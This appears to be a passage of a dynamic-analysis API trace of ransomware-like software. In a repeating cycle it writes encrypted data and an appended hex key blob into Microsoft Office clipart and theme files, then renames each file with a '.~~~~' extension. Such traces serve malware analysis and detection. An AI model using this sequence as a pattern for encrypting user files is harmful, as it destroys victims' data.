	[0121.506] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffc11, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.507] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3ef, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x3ef, lpOverlapped=0x0) returned 1
	[0121.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.509] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.509] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.509] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.509] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.509] CloseHandle (hObject=0x13c) returned 1
	[0121.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a1d9e8
	[0121.509] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif.~~~~")) returned 1
	[0121.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1d9e8 | out: hHeap=0x300000) returned 1
	[0121.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.511] GetLastError () returned 0x0
	[0121.512] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.513] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.513] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.513] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24150345090) returned 1
	[0121.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1e53a70, dwHighDateTime=0x1d60e1e)) 
	[0121.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cc48
	[0121.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cc48 | out: hHeap=0x300000) returned 1
	[0121.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6ca0
	[0121.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0121.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6ca0 | out: hHeap=0x300000) returned 1
	[0121.514] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.514] GetLastError () returned 0x0
	[0121.514] GetLastError () returned 0x0
	[0121.515] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.515] GetLastError () returned 0x0
	[0121.515] GetLastError () returned 0x0
	[0121.518] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffea5aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.518] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x15a56, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x15a56, lpOverlapped=0x0) returned 1
	[0121.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.520] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.520] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.520] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.520] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.520] CloseHandle (hObject=0x13c) returned 1
	[0121.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6ca0
	[0121.520] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.~~~~")) returned 1
	[0121.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6ca0 | out: hHeap=0x300000) returned 1
	[0121.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.522] GetLastError () returned 0x0
	[0121.523] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.524] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.524] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.524] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24151409348) returned 1
	[0121.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1e79bd0, dwHighDateTime=0x1d60e1e)) 
	[0121.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cc80
	[0121.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cc80 | out: hHeap=0x300000) returned 1
	[0121.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0121.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.525] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.525] GetLastError () returned 0x0
	[0121.525] GetLastError () returned 0x0
	[0121.525] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.525] GetLastError () returned 0x0
	[0121.525] GetLastError () returned 0x0
	[0121.540] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffef61b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.540] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x109e5, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x109e5, lpOverlapped=0x0) returned 1
	[0121.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.541] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.541] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.542] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.542] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.542] CloseHandle (hObject=0x13c) returned 1
	[0121.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
	[0121.548] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx.~~~~")) returned 1
	[0121.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.577] GetLastError () returned 0x0
	[0121.583] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.584] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.584] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.584] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24157422625) returned 1
	[0121.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1f12150, dwHighDateTime=0x1d60e1e)) 
	[0121.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e3a8
	[0121.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e3a8 | out: hHeap=0x300000) returned 1
	[0121.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1f98
	[0121.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.585] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.585] GetLastError () returned 0x0
	[0121.585] GetLastError () returned 0x0
	[0121.585] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.585] GetLastError () returned 0x0
	[0121.586] GetLastError () returned 0x0
	[0121.589] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.589] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.592] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.592] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.598] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.598] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.598] CloseHandle (hObject=0x13c) returned 1
	[0121.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ead18
	[0121.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx.~~~~")) returned 1
	[0121.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ead18 | out: hHeap=0x300000) returned 1
	[0121.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.600] GetLastError () returned 0x0
	[0121.643] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.670] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.670] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.670] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24166023191) returned 1
	[0121.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1fd0830, dwHighDateTime=0x1d60e1e)) 
	[0121.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e4c0
	[0121.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e4c0 | out: hHeap=0x300000) returned 1
	[0121.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d7b8
	[0121.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.671] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.671] GetLastError () returned 0x0
	[0121.671] GetLastError () returned 0x0
	[0121.671] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.671] GetLastError () returned 0x0
	[0121.671] GetLastError () returned 0x0
	[0121.675] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffedbf3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.675] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1240d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1240d, lpOverlapped=0x0) returned 1
	[0121.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.677] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.677] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.677] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.677] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.677] CloseHandle (hObject=0x128) returned 1
	[0121.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.680] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.~~~~")) returned 1
	[0121.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.696] GetLastError () returned 0x0
	[0121.707] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.723] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.723] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.724] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24171366031) returned 1
	[0121.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2068db0, dwHighDateTime=0x1d60e1e)) 
	[0121.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e5d8
	[0121.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e5d8 | out: hHeap=0x300000) returned 1
	[0121.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb4a0
	[0121.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.724] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.725] GetLastError () returned 0x0
	[0121.725] GetLastError () returned 0x0
